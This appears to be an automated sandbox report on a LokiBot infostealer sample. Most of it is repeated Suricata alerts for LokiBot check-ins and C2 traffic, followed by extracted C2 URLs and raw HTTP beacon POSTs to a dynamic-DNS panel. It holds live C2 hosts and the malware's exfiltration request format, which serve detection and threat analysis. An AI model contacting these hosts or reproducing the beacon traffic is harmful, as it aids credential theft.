Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49740 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49791 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49798 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49794 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49794 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49794
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49798
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49747 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49747 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49747 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49747 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49747 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49747
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49781
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49762 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49762 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49762 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49809 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49809 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49809 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49762 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49762 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49801 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49801 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49801 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49805 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49805 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49762
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49723
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49738 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49737
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49797 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49797 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49769 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49769 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49772 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49772 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49740 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49803 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49792 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49779
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49722
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49809 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49809 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49738
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49769 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49769 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49769 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49802
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49709 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49709 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49709 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49728 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49728 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49745 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49728
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49745 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49745 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49792 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49750 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49771
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49774
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49745 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49797
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49769
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49745 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49763 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49763 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49763 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49780 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49808 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49780 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49780 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49809
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49763 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49763 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49799 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49778 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49799 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49799 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49785 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49785 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49765 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49765 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49792 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49724 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49773
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49715 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49740
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49765 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49724 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49780 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49780 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49709 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49763
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49709 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49765 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49765 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49709
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49786 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49782 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49786 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49786 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49731 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49731 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49731 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49768 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49768 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49768 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49731 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49731 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49768 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49768 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49731
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49785 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49765
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49782 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49782 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49778 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49785 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49785 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49778 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49786 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49785
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49808 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49786 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49808 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49791 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49782 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49791 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49778 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49782 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49778 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49768
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49790 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49790 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49808 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49777 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49791 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49790 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49808 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49806 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49778
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49790 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49805
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49791 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49750 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49782
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49790 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49750 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49724 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49777 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.10:49777 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 45.149.241.169:80 -> 192.168.2.10:49786
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49724 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49724 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49777 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49796 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.10:49796 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.10:49750 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49777 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.10:49784 -> 45.149.241.169:80
Source: Network traffic Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.10:49750 -> 45.149.241.169:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor URLs: http://freighteighttwocam.ddns.net/mdifygidj/five/fre.php
Uses dynamic DNS services
Source: unknown DNS query: name: freighteighttwocam.ddns.net
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif HTTP/1.1Host: www.sodiumlaurethsulfatedesyroyer.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: UUNETUS UUNETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 172Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 172Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
Source: global traffic HTTP traffic detected: POST /mdifygidj/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: freighteighttwocam.ddns.netAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 5EE1FC9EContent-Length: 145Connection: close
